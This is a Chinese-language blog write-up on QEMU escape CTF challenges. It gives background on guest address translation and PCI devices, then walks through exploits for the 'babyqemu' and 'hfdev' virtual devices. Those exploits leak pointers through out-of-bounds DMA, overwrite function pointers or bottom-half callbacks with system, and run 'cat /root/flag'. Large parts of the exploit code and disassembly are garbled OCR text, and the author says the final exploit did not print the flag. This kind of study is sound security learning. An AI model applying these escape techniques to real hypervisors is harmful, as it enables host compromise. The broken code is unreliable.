QemuPWN

QemuPWN

学习下qemupwn,qemu的基础知识QOM模型,Timer相关可以看上一篇文章

一些前置知识,基本上是参考 qemu-pwn-基础知识 « 平凡路上 (ray-cp.github.io)

前置知识

地址转换

qemu虚拟机的地址转换,由于EPT的存在,实际是经过三层

GVA -> GPA -> HPA

GVA Guest Virtual Address

GPA Guest Physical Address

HPA Host Physical Address

我记得是由于GPA 到HPA,物理页刚好是映射到Qemu Process的一个基址开始的对应偏移上,所有这里图中显示的是四个阶段(可能有误)

image-20220420105915230

qemu启动脚本中,-m 指定的就是物理机中qemu进程分配给虚拟机的内存,这是一大块内存,这块内存会被虚拟机视为其物理地址

1
2
3
4
5
6
7
8
9
10
./qemu-system-x86_64 \
-m 1G \
-device strng \
-hda my-disk.img \
-hdb my-seed.img \
-nographic \
-L pc-bios/ \
-enable-kvm \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22

首先把qemu中虚拟地址转换成物理地址,该地址就是qemu进程为其分配的内存的偏移,因此用qemu进程分配出来的内存基址加上这个偏移就是虚拟机的虚拟地址在宿主机上的地址

GVA -> GPA的代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

int fd;

uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

int main()
{
uint8_t *ptr;
uint64_t ptr_mem;

fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}

ptr = malloc(256);
strcpy(ptr, "Where am I?");
printf("%s\n", ptr);
ptr_mem = gva_to_gpa(ptr);
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);

getchar();
return 0;
}

PCI设备

lspci可以查看当前主机的所有PCI总线信息,以及所有连接的PCI设备

1
2
3
4
5
6
7
8
ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

xx:yy.z的格式为总线:设备:功能

PCI设备通过VendorID,DeviceID,Class Code区分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ubuntu@ubuntu:~$ lspci -v -m -n -s 00:03.0
Device: 00:03.0
Class: 00ff
Vendor: 1234
Device: 11e9
SVendor: 1af4
SDevice: 1100
PhySlot: 3
Rev: 10

ubuntu@ubuntu:~$ lspci -v -m -s 00:03.0
Device: 00:03.0
Class: Unclassified device [00ff]
Vendor: Vendor 1234
Device: Device 11e9
SVendor: Red Hat, Inc
SDevice: Device 1100
PhySlot: 3
Rev: 10

也可通过查看其config 文件来查看设备的配置空间,数据都可以匹配上,如前两个字节1234为vendor id:

1
2
3
4
5
ubuntu@ubuntu:~$ hexdump /sys/devices/pci0000\:00/0000\:00\:03.0/config
0000000 1234 11e9 0103 0000 0010 00ff 0000 0000
0000010 1000 febf c051 0000 0000 0000 0000 0000
0000020 0000 0000 0000 0000 0000 0000 1af4 1100
0000030 0000 0000 0000 0000 0000 0000 0000 0000

查看设备内存空间:

1
2
3
4
5
6
7
8
9
10
11
ubuntu@ubuntu:~$ lspci -v -s 00:03.0 -x
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
Subsystem: Red Hat, Inc Device 1100
Physical Slot: 3
Flags: fast devsel
Memory at febf1000 (32-bit, non-prefetchable) [size=256]
I/O ports at c050 [size=8]
00: 34 12 e9 11 03 01 00 00 10 00 ff 00 00 00 00 00
10: 00 10 bf fe 51 c0 00 00 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 f4 1a 00 11
30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

可以看到该设备有两个空间:BAR0为MMIO空间,地址为febf1000,大小为256;BAR1为PMIO空间,端口地址为0xc050,大小为8。

可以通过查看resource文件来查看其相应的内存空间:

1
2
3
4
5
6
ubuntu@ubuntu:~$ ls -la /sys/devices/pci0000\:00/0000\:00\:03.0/
...
-r--r--r-- 1 root root 4096 Aug 1 03:40 resource
-rw------- 1 root root 256 Jul 31 13:18 resource0
-rw------- 1 root root 8 Aug 1 04:01 resource1
...

resource文件包含其它相应空间的数据,如resource0(MMIO空间)以及resource1(PMIO空间):

1
2
3
4
5
6
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

每行分别表示相应空间的起始地址(start-address)、结束地址(end-address)以及标识位(flags)。

Strng

入门级神题,感谢raycp大佬,因为分析的太多了,这里只贴一下链接

qemu pwn-Blizzard CTF 2017 Strng writeup « 平凡路上 (ray-cp.github.io)

babyqemu

题目分析

DMA类型的入门题

qemu pwn-hitb gesc 2017 babyqemu writeup « 平凡路上 (ray-cp.github.io)

image-20220419092137310

文件解压出来,pc-bios是启动qemu的必需

核心文件是qemu-system-x86_64,这个就是在qemu源码中添加题目相关代码,然后编译出来的,对于qemupwn一般是添加一个新的驱动设备,所以新加的驱动设备会在里面

lauch.sh里面会给新设备的名字 -device xxx,虽然可以通过直接在main函数里加上设备初始化以隐藏设备名称,但是没必要,

1  2  3  4  5  6  8  9  10  11  # ! /bin/sh  . /qemu-system-x86 64 \  -initrd . /rootfs. cpio \  -kernel . /vm1inuz—4. \  -append ' console=ttySO root=/dev/ram oops—panic panic—I' \  -enable—kvm \  -monitor /dev/null \  -m 64M ——nographic —L . /dependency/usr/local/share/qemu \  -L pc—bios \  -device hitb, id—vda

这题符号没去,正常运行需要安装libcurl3

image-20220419092415084

直接输入root后就能登陆

HITB login:  HI TB login: root  17 501  total  d rwxr  -la  4  -xr-x  2 501  I root  root  Mar 22 02:34  Jul 11 2017  7 Mar 22 02:34  . ash_history

知道名字后,一般就是直接搜相关函数

80 init_pd hitb Wpg  pd uninit  * Obj u

这种没去符号的

0  a 0  0x01 〕  2801  4105  tr , | d & I«.v"dr hie  — : int" lb'd_a«h unk— ,  — : 」 'QEMu_COLOR BLACK ,  , , | u; ~ hitsint64 「 , Ⅱ m ,  — : 」 ERROR = 0 , 0 」 N DQ

能看到其设备类HitbState,但是在Local Types中能看到相关结构,不一定能在struct里面看到其具体结构

QOM模型中,设备实现必定会经过三个阶段函数

class_init -> instance_init -> realize

Class-init能看到设备号

fastcall  class  1 nit  • 11  • 13  • 16  • 11}  PCIDeviceC1ass *v2; // rax  (PCIDeviceCIass_O  const char  (const char .rnsi_vectors,  v2->revision = 16  • 255;  pci_hitb realize;  v2->exit =  id • 4660;  id = 9011;

realize里面,开了一个定时器hitb_dma_timer

Error "errp)  if (  fastcaII •pdev,  errp) )  hitb dma timer,  pdev) ,  •  15  • 22  O . type);  . type);  (QcmuThrcad_O . . size,  (const char + 12,  hitb fact thread,  pdcv,  memory _  (MenoryRcgion_ø ,  &pd€nv - >qdev. parent_obj ,  pdcv,  "hitb-anio" ,  oxloeeoeuLL);  (henoryRegion_ø

另外开了一个新线程hitb_fact_thread,注册了一个MMIO因为了开了符号,所以看的比较清楚

t size)  4  10  • 12  13  . 17  • 18  fastcaII  uint32 t v4; // er13  int vs; // edx  bool v6; //  int64 t v7; // rax  if ( (addr > ex7F Il  sue  if ( addr øxgø )  if ( (opaque• >dma.cmd  opaque->dma.src = Val;  • 'dal;  if ( addr > øxgø )  e *opaque,  suze  t Val,  •e Il addr  unsigned  øx7F) )

Mmio_read比较简单,只是读取各种结构体的参数

image-20220419093621652

几个关键操作就是

image-20220419093650091

也就是write基本都是给dma结构体赋值

既然触发了定时器,那就看一下定时器

定时器函数主要做下面几个

image-20220419093800969

对应一下代码

image-20220419093832587

情况3,IDA F5看着很乱,直接看汇编比较明白

![loc 284120: [rdi+HitbState. dstl dword ptr [hitb+HitbState.dma.cnt] ; len sub lea call and rax, edx, ecx rbp, rdi, rsi, ecx 4øøøøh is write rdi+rax+HitbState. dma_buf [rdi+HitbState . dma . src] addr r•bp cpu_phy s i c a I _memory_rw rax, [hitb40880h] rdx, rax edx, 4 short loc 2840E8

Memory_rw(dma.src,dma_buf[dma.dst - 0x40000],dma.cnt,)

所以这里是模拟实现的DMA操作

利用mimo设置好src dst和cmd之后利用timer就可以完成拷贝

我们可以看到write时len 以及地址都没有限制,意味着我们对buf越界读写

image-20220419181124874

向上越界是enc函数,enc在这里初始化

11  • 14  15  id fastcall •obj)  Object_ø *VI; // rax  VI = object_dynarnic_cast_assert(  &obj >pdev. qdev. parent_obj ,  (const char 5AB2C8. not legacy 32bit 12,  (const char *)&stru_5AB2C8.msi_vectors,  459,  VI = (object_a ')vl 4 7104);  = (Object_e  Robj - >pdev . qdev. parent_obj ,

如果我们通过越界读泄露了enc,就能根据偏移算出程序基址,然后再根据偏移找到system plt的地址,最后根据再越界写把system写入到enc中,最后把参数/bin/sh当作参数调用system,

exp分析

分析一下exp

首先把驱动的resources文件映射出来,Qemu题操作MMIO都要这样做

image-20220419181242920

申请一块用户空间存储泄露的地址

148  149  150  151  152  153  154  155  156  157  // Allocate DMA buffer and obtain its  userbuf = mmap( ,  O oxlooo, PROT READ I  if (userbuf —  - MAP FAILED)  die ("rnmap" •  ( userbuf ,  ox1000);  phy userbuf=gva to gpa (userbuf) ;  physical address  PROT WRITE, MAP SHARED I  MAP  ANONYMOUS,  -1,  0)  printf ("user buff virtual address: ;  printf ("user buff physical address: (void*)phy userbuf) ;

mlock是锁定内存,不让其被交换,泄露enc的地址

158  159  160  161  162  // out of bound to leak enc ptr  dma do read (  uint64 t leak (uint64 userbuf;  printf ("leaking enc function: (void* ) leak enc) ;

image-20220419181333588

aoeaBd8  oøe1Bco  dine timer  diiaLpOf  enc  dine me sk  db dup(?)  dq

这里buf也就是0x1000,所以这里传的地址实际就是越界到enc的地址

113  11 a  115  116  117  11B  119  120  121  122  void dma do read (uint32 t addr,  dma set dst (phy userbuf) ;  dma set src (addr) ;  drna set cnt (Len) ;  drna do cmd(211_);  sleep (1);  size t  len)

根据do_read的逻辑填写数据,最后根据泄露的地址打简单的system

164  165  166  167  168  169  170  171  172  173  174  175  176  177  17B  179  uint64  uint64  // out  dma do  t pro base—leak enc—  Ox2B3DDO  t base+C)x1 FI)BIB;  of bound to overwrite enc ptr to system ptr  write (OxlOC)O+DMABASE, R) ;  // deply the parameter of system function  char / root/f1ag\x00" ;  dma do write (Ox20C)+DMABASE, command, strlen (command)) ;  // trigger the enc ptr to execute system  —(0x200+DMABASE, B) ;

hfdev

虎符线上赛的一道,大概也算DMA吧

2022功能能够off_by_one可以实现多此调用定时器,实现溢出,任意地址读leak,改bk或者改timer结构体劫持

题目分析

逻辑逆向

参考的hfState结构体,建议复现还是自己逆一下

1
2
3
4
5
6
7
8
9
10
+A60 hwaddr
+A68 len
+A78 timer_cpy_len
+A80 expired_time
+A88 buf
+1188 timer_go
+1190 timer_cpy_buf
+1198 timer
+11A0 bh
+1188
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//Port_read的功能
Addr == 2
Read dword +A78
Addr == 6
Read dword +1188
Addr == 8
Read dword +A70
Addr == C
Read dword +A68

//Port write的功能
Case0
Do nothing

Case1
and edx, 0FFFFh
Mov +A60,rdx
Case 2
Shl rdx,10
or [rdi+0A60h], rdx
Case3
mov [rdi+0A68h], rdx
(rdx要小于A68)
Case4
清空结构体?
Case5
获取当前时间加上1s,存放在A80
Case6
qemu_bh_schedule

可以更多逻辑的需要调用qemu_bh_schedule

image-20220419184005380

bh首先从物理地址hwaddr处读len字节到buf

然后回根据前8个字节switch

Case 0x20

31  • 32  33  34  35  • 36  37  case  if  ox20:  QWORD * )  int16 *)(hfstate  + OxA70);  hfstate  (unsigned  int16)v8  cpu_physical memory_rw(*(  result  break;  + OxA91);  QWORD * )  hfstate  OxA89) ,  hfstate  OxE88,  ILL); // write

一个物理地址写

Case 0x30

V1是buf的地址,所以这里会判断是否小于0x100

大概能得到两个新结构体成员

+A78 timer_cpy_len

+1190 timer_cpy_buf

并根据+1188决定起不起动定时器,

38  39  40  41  42  43  44  45  47  48  49  case Ox30:  (unsigned  int16 *)(hfstate  + OxA89);  result  (unsigned  int16 *)(hfstate  + OxA8B);  vil  if ( (Unsigned  int16)resu1t  ox100u (  unsigned  QWORD *)(hfstate  + oxli88)  vi2  OLL;  QWORD *)(hfstate  + OxA78)  result;  QWORD *)(hfstate  + oxli90)  vil + VI;  vi2 )  timer mod(*(  QWORD *)(hfstate  + oxli98), *  result  break;  int16)v11  ox100u )  QWORD *)(hfstate

Case 0x10根据A8B会继续分为两个功能,第一个是0x2202

image-20220419184108015

2022功能

从+E88处开始,这边是从收到的数据的A8F处开始,逐字节异或,

len是+A70和+A8D中的最大者,

50  51  • 52  case Ox10:  result  WORD *)(hfstate  + OxA8B);  (unsigned  int16 *)(hfstate  + OxA8D);

那么A70从哪里来呢,看了一圈,初始化的时候A70是0,定时器中会赋值一次A70

然后最重要的是这里do_while写的存在一个off_by_one

再来看一看定时器功能

先把+1188设置为0,也就是定时器只会启动一次

1 int64 fastcall hfdev  func(  oxA78) ;  int64 al)  3  4  5  7  8  9  10  11  12  13  • 14  15}  size t Len; //  rdx  int64 result; //  rax  QWORD *  QWORD + oxli88)  if ( len  memcpy( (  void +  QWORD  result  QWORD + OxA70)  result;  return  OLL;  QWORD  + OxA78);  result;  + OxA70) + OxE88), *  const void **  + oxli90),  len);

做一个memcpy

push  mov  mov  mov  call  mov  add  pop  retn  rbx  rbx,  rax,  rs1,  rdi,  rdi  [rdi+0A70h]  [rbx+1190h]  s rc  [ rdi+rax+0E88h]  dest  memcpy  rax, [rbx+0A78h]  [rbx+0A70h], rax  rbx

memcpy之后A70里的值会加上A78的值,A78从上面看是拷贝的len,而A78是在前面case30处赋值的

调用逻辑就是先调用2202,置A70为0x200

50  51  • 52  53  54  55  56  57  • 58  59  60  61  62  63  64  65  66  67  68  69  70  • 71  72  73  case Ox10:  result  if (  vi3  WORD *)(hfstate  + OxA8B);  (unsigned  int16 *)(hfstate  + OxA8D);  ox200;  if ( (Unsigned  int16)resu1t  ox200u )  (unsigned  int16 *)(hfstate  + OxA8D);  vi3  if ( (  WORD) result  (unsigned  int16)v13  vi4  BYTE  + OxA89);  BYTE  + OxA8A);  vi6  result  hfstate  + OxA8F;  + (unsigned int) (v13  VI 7 hfstate  do  * BYTE * s  vi8  1) + OxA90;  BYTE  QWORD * )  while (  Ox3F8)  vi6  + OxA70)  (vi5  vi8)  hfstate  result

再case30,触发定时器,timer_cpy_len最大是0x100,调用完之后A70就变成了0x300

再2022就是offbyone,E88 + 0x300 = 0x1188,刚好能覆盖到timer_go标志位,导致定时器函数无限调用,无限调用就意味着A70可以无限叠加,最后因为其从物理地址处读数据,物理地址和长度都可以由我们指定,我们只要在程序中把准备好的数据地址转换成物理地址给他传过去就行

最后来分析一下exp

exp分析

156  157  158  159  160  161  162  int  main( int  init();  iopl (  3  argc,  char  *argv [ ]  sleep (  1  uint8 t *dataout  dma init();  dmabu

首先是init,init主要是分配一块内存,主要用来传数据,因为hfdev是从物理地址读数据,所以顺带转换一下地址

65  66  67  68  69  70  71  72  73  74  75  void init()  / *memory for data* /  dmabuf  mmap (  O, ox1000  MAP ANONYMOUS,  if ( dmabu$  MAP FAILED  PROT READ  PROT WRITE,  MAP  SHARED  MAP LOCKED  die (  phyaddr  print f (  " mmap "  virt to phys(  " dmabu$ addr:  , phyaddr

Iopl(3)是必须执行的,要进行port_read/write必须执行这个命令申请权限

108  109  110  111  112  void ama init ( )  set base() ;  set length (  ox400

77  78  79  80  81  void pet  pm 10  pm 10  base ( )  write (  write (  ox2  Ox4  phyaddr  phyaddr  Oxffff  16

84  85  86  87  void set  pm 10  length( u int16 t length  write (  Ox 6  length ) ;

通过port_write设置读取数据的地址和长度

读取数据

163  164  165  166  / * out size —> Ox 200 * /  send data in (  ox200  / * out size —> Ox 300 * /  call timer (  ox100, O, 5

136  137  138  139  140  141  142  143  void send data  * dmabuf  * (u int 16 t  * (u int 16 t  send pkg ( ) ;  sleep (  1  in (  u int16  ( dmabuf  ( dmabuf  t len  Ox 10  ox2202  len;

Send_pkg就是触发schedule

96  97  98  99  void pend pkg ( )  pmio write(  Oxc

Send_data_in执行完之后,+A70处为0x200

再触发timer,此时+A70处为0x300

177  178  179  180  181  182  183  184  185  186  187  / * leak addr * /  read data (  ox310  = * (u int 64 t * )  uint64 t heap addr  "data in addr: % 1 x \ n"  print f (  heap addr ) ;  / * by arb read for offset * /  ox308  u int 64 t  uint64 t  uint64 t  timer addr  bh addr  ctx addr  heap addr  heap addr  heap addr  Ox5604c9b6aa88  ox562 60b2bba88  Ox563ad6dd9a88  Ox5604c9b6bd40  Ox56260b2bcd80  Ox563ad5ccb690  "timer addr: % 1 x \ n"  print f (  timer addr ) ;  "bh addr: % 1 x \ n"  printf (  bh addr ) ;

通过off_by_one设置timer_go标志为非0,

168  169  170  171  172  173  174  / * if call timer —>  dataout  ox300  Ox ff  send data out (  ox300  / * set—>outsize —> Ox 310  * (u int 64 t * ) (dmabuf +  * (u int 64 t * ) (dmabuf +  call timer(  ox10, ox20  ox20)  ox28  5  OXO  OXO

再次触发timer,此时+A70已经变0x310

readdata,越界读0x310个字节到用户层的dmabuf里

146  147  148  149  150  151  152  153  154  void $ead data( u int16 t len )  * dmabuf  * (uint64 t  * (u int 16 t  send pkg ( ) ;  sleep (  1  ox20  ( dmabuf  ( dmabuf  phyaddr ;  len;

读出的dma_buf+0x308就是0xE88+0x308 = 0x1190,刚刚被设置成+A88 buf的地址

这个buf其实就是hfstate对象的地址,根据偏移关系得到timer-addr和bh-addr的地址

188  189  190  191  192  193  if call timer —> Ox ff * /  dataout  ox300  Ox ff  send data out (  ox300  / * wait for arb read  call timer (  Ox8, OXO

再次触发一次timer,又把+A70 拉长8个字节

struct  AioContext *ctx;  const char *name;  *cb;  QEMUBHFunc  void *opaque;  next;  unsigned flags;

修改buf的地址到bh的cb的地址,用send_data_out修改

194  195  196  197  / * set desc —> &bh cb * /  * (uint64 t * ) (dataout +  send data out (  ox310  sleep (  5  ox308  (bh  addr  ox10  heap  addr ;

此时buf被修改到了bh的cb的位置,最后利用部分的逻辑是修改bh的cb和opague来实现控制流劫持

exp调试

x /2egx ox5555576dc040 +  ox5555576dd1cg: exoooooooooooooooo  ox5555576dd1d8: ox00005555576ddd80  ox5555576dd1eg: exoooooooooooooooe  ox5555576dd1f8: exooooooooooooooöl  ox5555576dd208: ox00005555576dbcoo  ox5555576dd218: ox0000555555c941d0  ox5555576dd228: ex0000555555c90230  ox5555576dd238: exoooooooooooooooe  ox5555576dd248: oxoooooooooooooooo  ox5555576dd258: ex0000000000000031  exi188  ex00005555576dcac8  ox00005555576dddco  exoooooooooooooooe  ex00005555576dbfb0  oxoooooooooooooooo  oxoooooooooooooooo  ex0000555555c92300  ex00005555576dbbb0  oxoooooooooooooooo  ex0000555557812cb0

先读出几个结构体的偏移,timer和bh以及hfstate都在堆上

获取的heap addr应该是0x5555576dc040 + 0xA88

5555 576D CAC8

/ # ./exp  dmabuf addr: Oxadaa000  datain addr:5555576dcac8  timer addr: 5555576ddd80  bh addr:5555576dddco

所以这里获取的地址都没问题

执行完这里,确实设置了bh->cb的地址

194  195  196  197  set desc —>  *(uint64 t * )  send data out (  sleep (  5  ox308  (bh  addr  ox10)  heap addr ;  ox310

image-20220419190020927

192  193  194  / * wait for  call timer(  / * set desc  arb read * /  ox8, OXO, 50  —> &bh cb * /

这里设置的是延迟读,这里设置完地址之后才会触发timer,然后把地址读过来

最后一步send_date_out的作用是修复timer指针,因为前面已经覆盖掉了

204  205  206  207  208  209  210  211  212  213  214  215  216  217  218  219  fake bh  * (u int 64 t  * (u int 64 t  * (u int 64 t  * (u int 64 t  const char  ( dmabuf  ( dmabuf  ( dmabuf  ( dmabuf  * cmd  " cat  ox100  ox108  ox110  ox118  . / flag"  ctx addr;  system addr;  heap addr +  ox130  for ( int  o  < strlen( cmd ) ;  * (dmabuf +  ox130  / * if call timer —> Ox ff * /  cmd [i] ;  dataout  ox300  Ox ff  * (u int 64 t * ) (dataout +  ox310  ox20  * (u int 64 t * ) (dmabuf +  send data out (  Ox318  call timer (  (timer addr)  cb  heap addr +  ox100  addr ;

然后再调用timer修改bh到faker_bh,

最后一个schedule触发system

219  220  221  222  Ox8  ox20  5  send pkg ( ) ;  return (O) ;

ctf@ubuntu  / # ./exp  dmabuf addr: exc82aOOO  datatn addr: 5555576dba88  timer addr: 5555576dcd40  bh addr:5555576dcd80  cb : 5555558d4fd0  system : 55555582a610

但是莫名其妙看不到flag,流程应该是没问题的,困惑?

传exp

因为这个qemu就没开ssh,所以传scp,可以重打包img文件,ubuntu修改img文件很简单

mount  -o loop  rootfs . tmg  mount: only root can use  " - -options" option  sudo mount -o  mount: /mnt/tmg: mount point does not exist.  loop  loop  /mnt/tmg  rootfs. tmg /mnt/tmg  rootfs. tmg /mnt  ctf@ubuntu:-/ctf/hfctf/hfdev/pwn1S  SUdo: unmount: command not found  ctf@ubuntu:-/ctf/hfctf/hfdev/pwn1S  s udo  s udo  s udo  s udo  mount -o  cp exp/exp /mnt/exp  unmount /mnt  umount /mnt

先用mount挂载上去,然后把exp拷贝进去,再umount

总结

什么时候能秒qemu题

Refs

2022HFCTF-线上赛官方Writeup.pdf